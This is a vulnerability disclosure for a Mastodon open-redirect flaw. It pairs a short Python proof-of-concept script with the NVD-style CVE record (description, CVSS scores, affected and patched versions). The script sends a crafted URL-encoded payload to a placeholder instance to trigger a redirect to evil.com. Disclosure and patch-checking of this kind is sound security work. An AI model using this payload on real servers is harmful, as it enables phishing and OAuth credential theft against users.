CVE-2026-33868

# Conceptual PoC for CVE-2026-33868 # The vulnerability allows an open redirect via URL encoded slashes in the /web/* path. import requests target_url = "https://target-mastodon-instance.com" # Using %2F to bypass path normalization and trigger a redirect to evil.com malicious_payload = "/web/https:%2F%2Fevil.com" full_url = target_url + malicious_payload try: response = requests.get(full_url, allow_redirects=False) if response.status_code in [301, 302, 303, 307, 308]: print(f"[+] Vulnerability Detected!") print(f"[+] Status Code: {response.status_code}") print(f"[+] Location Header: {response.headers.get('Location')}") else: print("[-] Redirect not triggered or patch applied.") except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-33868", "sourceIdentifier": "[email protected]", "published": "2026-03-27T20:16:34.333", "lastModified": "2026-03-30T19:14:17.297", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mastodon is a free, open-source social network server based on ActivityPub. Prior to versions 4.5.8, 4.4.15, and 4.3.21, an unauthenticated Open Redirect vulnerability (CWE-601) exists in the `/web/*` route due to improper handling of URL-encoded path segments. An attacker can craft a specially encoded URL that causes the application to redirect users to an arbitrary external domain, enabling phishing attacks and potential OAuth credential theft. The issue occurs because URL-encoded slashes (`%2F`) bypass Rails path normalization and are interpreted as host-relative redirects. Versions 4.5.8, 4.4.15, and 4.3.21 patch the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-601"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:joinmastodon:mastodon:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.3.21", "matchCriteriaId": "91507204-15DF-4F1C-A1DC-59F0AD466214"}, {"vulnerable": true, "criteria": "cpe:2.3:a:joinmastodon:mastodon:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.4.0", "versionEndExcluding": "4.4.15", "matchCriteriaId": "A37B2AD4-5027-464B-947A-63BDB06C33B8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:joinmastodon:mastodon:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.5.0", "versionEndExcluding": "4.5.8", "matchCriteriaId": "BE32DA85-D71D-4CB8-8216-205780DBBB6A"}]}]}], "references": [{"url": "https://github.com/mastodon/mastodon/security/advisories/GHSA-xqw8-4j56-5hj6", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}